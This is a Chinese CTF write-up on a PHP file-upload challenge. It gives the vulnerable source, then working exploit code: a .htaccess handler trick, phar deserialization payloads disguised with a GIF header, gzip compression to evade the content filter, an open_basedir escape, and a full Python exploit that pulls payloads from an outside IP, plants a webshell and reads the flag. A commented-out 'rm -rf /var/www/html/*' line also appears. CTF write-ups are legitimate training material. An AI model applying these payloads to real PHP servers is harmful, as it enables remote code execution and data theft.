class dir{
public $userdir;
public $url;
public $filename;
public function __construct($url,$filename) {
$this->userdir = "upload/" . md5($_SERVER["HTTP_X_REAL_IP"]);
$this->url = $url;
$this->filename = $filename;
if (!file_exists($this->userdir)) {
mkdir($this->userdir, 0777, true);
}
}
public function checkdir(){
if ($this->userdir != "upload/" . md5($_SERVER["HTTP_X_REAL_IP"])) {
die('hacker!!!');
}
}
public function checkurl(){
$r = parse_url($this->url);
if (!isset($r['scheme']) || preg_match("/file|php/i",$r['scheme'])){
die('hacker!!!');
}
}
public function checkext(){
if (stristr($this->filename,'..')){
die('hacker!!!');
}
if (stristr($this->filename,'/')){
die('hacker!!!');
}
$ext = substr($this->filename, strrpos($this->filename, ".") + 1);
if (preg_match("/ph/i", $ext)){
die('hacker!!!');
}
}
public function upload(){
$this->checkdir();
$this->checkurl();
$this->checkext();
$content = file_get_contents($this->url,NULL,NULL,0,2048);
if (preg_match("/\<\?|value|on|type|flag|auto|set|\\\\/i", $content)){
die('hacker!!!');
}
file_put_contents($this->userdir."/".$this->filename,$content);
}
public function remove(){
$this->checkdir();
$this->checkext();
if (file_exists($this->userdir."/".$this->filename)){
unlink($this->userdir."/".$this->filename);
}
}
public function count($dir) {
if ($dir === ''){
$num = count(scandir($this->userdir)) - 2;
}
else {
$num = count(scandir($dir)) - 2;
}
if($num > 0) {
return "you have $num files";
}
else{
return "you don't have file";
}
}
public function __toString() {
return implode(" ",scandir(__DIR__."/".$this->userdir));
}
public function __destruct() {
$string = "your file in : ".$this->userdir;
file_put_contents($this->filename.".txt", $string);
echo $string;
}
}
if (!isset($_POST['action']) || !isset($_POST['url']) || !isset($_POST['filename'])){
highlight_file(__FILE__);
die();
}
$dir = new dir($_POST['url'],$_POST['filename']);
if($_POST['action'] === "upload") {
$dir->upload();
}
elseif ($_POST['action'] === "remove") {
$dir->remove();
}
elseif ($_POST['action'] === "count") {
if (!isset($_POST['dir'])){
echo $dir->count('');
} else {
echo $dir->count($_POST['dir']);
}
}
$this->checkext()
过滤了php后缀,有想到能上传.htaccess
文件,但是代码:
if (preg_match("/\<\?|value|on|type|flag|auto|set|\\\\/i", $content)){
die('hacker!!!');
}
AddHandler php7-script .txt
即可绕过过滤~~
在魔法函数__destruct下
的默认路径为系统根目录,而不是web的根目录,所以我们还要想办法获得我们上传文件的绝对路径~~
exp:
class dir{
public $userdir;
public $url;
public $filename;
}
$d = new dir();
$d->userdir = new dir();
$d->userdir->userdir = "../";
echo urlencode(serialize($d));
$phar = new Phar("somnus2.phar");
$phar->startBuffering();
$phar->setStub("GIF89A"."__HALT_COMPILER();"); //设置stub,增加gif文件头用以欺骗检测
$phar->setMetadata($d); //将自定义meta-data存入manifest
$phar->addFromString("test.jpg", "test"); //添加要压缩的文件
$phar->stopBuffering();
?>
注意以下,这儿调用了两个dir(),第一个dir为第二个的$usedir
,我们注意到,__destruct下面有一个$string = "your file in : ".$this->userdir;
这样就能触发__tostring了,这样扫上一级的目录,获得上一级的文件~~
这儿我们需要使用gzip
压缩以下pha
r文件,这样就能绕过内容的检测了~~
我们发序列化的点位于__destruct下面,会将目录写进一个txt
文件,所以我们的exp如下
class dir{
public $userdir;
public $url;
public $filename;
public function __construct(){
$this->filename = '/var/www/html/e9c8064bc8dac39b/upload/2c67ca1eaeadbdc1868d67003072b481/majian';
$this->userdir = 'zzzzzzzzzzzzzzzzzzzz';
$this->url = '1';
}
}
$d = new dir();
echo urlencode(serialize($d));
$phar = new Phar("somnus3.phar");
$phar->startBuffering();
$phar->setStub("GIF89A"."__HALT_COMPILER();"); //设置stub,增加gif文件头用以欺骗检测
$phar->setMetadata($d); //将自定义meta-data存入manifest
$phar->addFromString("test.jpg", "test"); //添加要压缩的文件
$phar->stopBuffering();
?>
我们用gzip压缩的时候,刚好含有一些特殊字符,如\
等,所以上面的exp中的字母z
是我胡乱拼凑的,使得内容不包含正则的过滤的字符
源码中的checkdir()
只是针对上传文件的,对我们的反序列化并没有影响~~
上传.htaccess
data:image/png;base64,QWRkSGFuZGxlciBwaHA3LXNjcmlwdCAudHh0
即AddHandler php7-script .txt
绕过open_basedir
chdir('..');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));
我们上面介绍的包含一些非预期
官方的wp中使用的是scandir(glob://)
来爆破目录
官方整体的exp
import requests
import os
with open('htaccess','w') as f:
f.write('AddHandler php7-script .txt\n')
print('[*] your file htaccess is create')
os.popen('mv htaccess /var/www/html/1')
headers = {'User-Agent':'poc_from_lou00'}
url = 'http://127.0.0.1:8001/'
webroot=''
upload=''
for i in range (0,3):
data = {
'action':'upload',
'url':'http://118.24.3.214/1',
'filename': str(i)
}
r = requests.post(url,data=data,headers=headers)
upload = r.text.split('upload/')[1]
print('[*] upload is ' + upload)
temp = '1234567890abcdefghijklmnopqrstuvwxyz'
for j in range(16):
for i in temp:
data = {
'action':'count',
'url':'1',
'filename':'1',
'dir':'glob:///var/www/html/'+webroot + i+'*/upload/'+upload+'/*'
}
r = requests.post(url,data=data,headers=headers)
if "don't" not in r.text:
webroot += i
print(webroot)
break
print('[*] webroot is ' + webroot)
data = {
'action':'upload',
'url':'http://118.24.3.214/1',
'filename': '.htaccess'
}
r = requests.post(url,data=data,headers=headers)
data = {
'action':'upload',
'url':'http://118.24.3.214/1',
'filename': '
}
r = requests.post(url,data=data,headers=headers)
php = '''userdir = $usedir;
$this->url = $url;
$this->filename = $filename;
}
}
$a = new dir('upload/%s','','');
$b = new dir($a,'','/var/www/html/%s/upload/%s/2');
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("__HALT_COMPILER();?>;");
$phar->setMetadata($b);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
echo urlencode(serialize($b));'''%(upload,webroot,upload)
with open('phar.php','w') as f:
f.write(php)
print('[*] your file phar.php is create')
os.popen('php phar.php','r',1)
os.popen('mv phar.phar /var/www/html')
print('[*] your file phar.phar is create')
data = {
'action':'upload',
'url':'http://118.24.3.214/phar.phar',
'filename': '1.jpg'
}
r = requests.post(url,data=data,headers=headers)
print('[*] your file phar.phar is upload')
data = {
'action':'upload',
'url':'phar://upload/'+upload+'/1.jpg',
'filename': '2.jpg'
}
print('[*] shell is in upload/'+upload+'/2.txt')
r = requests.post(url,data=data,headers=headers)
r = requests.get(url+'upload/'+upload+'/2.txt?a=chdir(%27..%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);var_dump(file_get_contents(%27F1aG_1s_H4r4%27));',headers=headers)
print(r.text)
# os.popen('rm -rf /var/www/html/*')
# print('[*] your file is delate')
介绍以下官方的思路
class dir{
public $userdir;
public $url;
public $filename;
public function __construct($usedir,$url,$filename){
$this->userdir = $usedir;
$this->url = $url;
$this->filename = $filename;
}
}
$a = new dir('upload/{your_upload_path}','','');
$b = new dir($a,'','/var/www/html/xxx/upload/{your_upload_path}/2');
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("__HALT_COMPILER();?>;");
$phar->setMetadata($b);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
echo urlencode(serialize($b));
我们之前是使用__tostring
跳转目录,然后扫目录得到绝对路径,而出题人的意图是通过__tostring
来写shell
文件
首先是$b
的第一个参数$userdir
为一个类,所以类b在反序列化时,在__destruct
中
$string = "your file in : ".$this->userdir;
会直接返回类a
的__tostring,而这个魔法函数返回的是目录下所有的文件名,然后在b类
中写入文件,所以我们上传phar文件,触发反序列化之前,我们需要提前创建一个名称含shell的文件
action=upload&url=http://xxx&filename=
官方wp
Somnus师傅